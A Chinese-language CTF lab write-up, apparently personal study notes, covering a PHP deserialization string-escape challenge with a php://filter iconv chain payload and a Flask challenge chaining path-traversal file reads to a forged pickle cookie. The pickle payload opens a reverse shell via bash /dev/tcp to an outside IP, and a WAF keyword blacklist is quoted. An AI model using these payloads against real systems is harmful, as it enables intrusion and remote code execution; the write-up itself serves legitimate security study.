0%

wp

wp

8.29第一次

文件打开cmd

输入命令行,一开始忘记开梯子了,拉不下下来报错了还

1
docker compose up -d

访问http://localhost:9292/,就能看到题目了

粗略一看过去是反序列化题

漏洞利用链

C->__destruct->B->__toString->A->readflag()

$ser = serialize(new C($_GET['c']));

这个应该是字符串逃逸进去,\0会被替换成00,为字符串增多逃逸,给str赋值

C->str=B

1
2
hnu1=]]]]]]]]]]]]]][HnuCTF]
$this->b = [new A(), "readflag"];

在phpstrom试了半天,我说怎么输出不出来flag,flag文件留着,里面内容被我删了,西巴。

感觉readflag那里要用一句话木马

序列化用的是双引号,PHP 使用单引号时 \0无法被转义,并且在序列化中 s 不能识别十六进制字符,因此需要将 s 改为 S,十六进制的\00即可实现绕过

需要逃逸进去的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
// Hnu-Reproducing-Plan-1
// 取材于最近某比赛,代码略微修改,题目切勿外传。

highlight_file( __FILE__);
error_reporting(0);

class A{
public $key;
public function __construct() {
$this->key = "\0key\0";
}
public function readflag(){
if($this->key=== "\0key\0"){;
// $a = '/flag.php';
// $contents = file_get_contents($a);
// echo $contents;
// file_put_contents($a, $contents);这里还没写出来
}
}
}

class B
{

public $b;
public function __construct() {
$this->b = [new A(), "readflag"];
}
public function __tostring()
{

//var_dump($this->b);
return ($this->b) ();

}
}
class C
{

public $s;

public $str;

public function __construct()
{
$this->s = '';
$this->str = new B();
}

public function __destruct()
{
echo $this ->str;
}
}
//$c='";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";s:5:"key";}i:1;s:8:"readflag";}}}';
$a=new C();
$b = serialize($a);
//$data = str_ireplace("\0","00",$b);

echo $b;

1
";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";s:5:"\0key\0";}i:1;s:8:"readflag";}}}

image.png

我是菜狗,没写出来

咨询了GBK,最后是利用这个filterchain,伪协议落地一个代码,找了个工具,但是不知道为什么没出。

后续听了徐神的讲课,也是找到原因了,我们的目的是往里面写文件,把php命令落地,工具是作者根据自己当时的题目写出来的,没有灵活使用。

知识总结

逃逸部分

php特性,可以通过数组的方式动态调用其他类内的方法,$this->b = [new A(), “readflag”];这里就是利用这个漏洞原理。

mb_substr和mb_strpos解析差异引起的漏洞

substrstr($_GET['hnu1']."[welcome to". $_GET['hnu']."CTF]");

方法一:

通过代码解析上面的substrstr函数,利用数学的方法实现hnu1=]]]]]]]]]]]]]][HnuCTF]

方法二:

mb_substr是按字来切分字符,而mb_strcut是按字节来切分字符,利用这一点,我们也可以进行构造

1
2
$hnu1 = "\xf0\x9f\x9fa\xf0\x9f\x9fa\xf0\x9f\x9fa\xf0\x9f\x9fa\xf0\x9f\x9fa\xf0\x9f\x9fa\xf0\x9f\x9fa\xf0\x9f\x9fa\xf0\x9f\x9fa\xf0\x9f\x9fa";
$hnu = "Hnu";

filterchain

1
2
3
$a = $_POST[1];
$contents = file_get_contents($a);
file_put_contents($a, $contents);

这个代码的解读,首先把a里面的内容给读出来,赋给contents,又把contents写入a里面,实际上我们什么也没有做,需要利用的是filterchain,通过一些列的构造我们的目标命令。

参考文章:FilterChain攻击解析及利用 - Boogiepop Doesn’t Laugh

直接利用工具生成

filer伪协议的write和read

image.png

1
2
3
$contents = file_get_contents("php://filter/read=convert.base64-encode/resource=a.php");
echo $contents;
file_put_contents("php://filter/write=convert.base64-encode/resource=a.php",$contents);

image.png

在file_put_contents使用write会被二次编码写入

当两个用的都是read

image.png

可以看到并没有被二次编码,成功保留格式写入进去了

image.png

都用write的话,我们可以看到,是可以原样读出的。

image.png

image.png

image.png

image.png

最终payload

1
2
GET:?c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%22%3Bs%3A3%3A%22str%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A1%3A%22b%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A3%3A%22key%22%3BS%3A5%3A%22%5C%00key%5C%00%22%3B%7Di%3A1%3Bs%3A8%3A%22readflag%22%3B%7D%7D%7D&hnu1=]]]]]]]]]]]]]][HnuCTF]
POST:1=php://filter/read=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=2.php

9.9第二次

任意文件读取

/proc/self/cmdline,/proc/1/cmdline,直接访问docker的配置文件

image.png

pickle反序列化

1
读取 /app/app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import os
import random
from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle

app = Flask(__name__)
app.secret_key = random.randbytes(16)

class UserData:
def __init__(self, username):
self.username = username

def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
for word in blacklist:
if word.lower() in data.lower():
return True
return False

@app.route("/", methods=['GET'])
def index():
return render_template('index.html')

@app.route("/lyrics", methods=['GET'])
def lyrics():
resp = make_response()
resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
query = request.args.get("lyrics")
path = os.path.join(os.getcwd(), "lyrics", query)

try:
with open(path, 'r') as f:
res = f.read()
except FileNotFoundError:
return "No lyrics found"
except Exception as e:
return f"Error: {str(e)}"

return res

@app.route("/login", methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form["username"]
user = UserData(username)
res = {"username": user.username}
return set_cookie("user", res, secret=secret_code)

return render_template('login.html')

@app.route("/board", methods=['GET'])
def board():
if cookie_check("user", secret=secret_code):
return "Nope, invalid code get out!"

data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
data = pickle.loads(data)

if not isinstance(data, dict) or "username" not in data:
return render_template('user.html', name="guest")

if data["username"] == "admin":
return render_template('admin.html', name=data["username"])
else:
return render_template('user.html', name=data["username"])

if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
app.run(host="0.0.0.0", port=9292)

通过import可以找到密钥的位置

1
2
/app/config/secret_key.py
secret_code = "EnjoyThePlayTime123456"

可以读取到加密算法

1
/app/cookie.py
1
2
3
4
5
6
7
8
9
def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word in data:
valid = True
# print(word)
break
return valid

我们可以看到并不是由app.py触发的,从login路由触发set_cookie

把我们的命令加密,抓包替换/board的参数,反弹shell绕waf即可,在环境变量里面面可以看到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import base64
import hashlib
import hmac
import pickle

unicode = str
basestring = str
secret_code = "EnjoyThePlayTime123456"

def cookie_encode(data, key):
msg = base64.b64encode(payload.encode())
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg

def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)

payload = '''(S'bash -c "/bin/sh -i >& /dev/tcp/198.23.148.51/7777 0>&1"'
ios
system
.'''

print(cookie_encode(payload,secret_code))


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/bw3m4dlpd2v2gduu
语雀文档ID: 184541772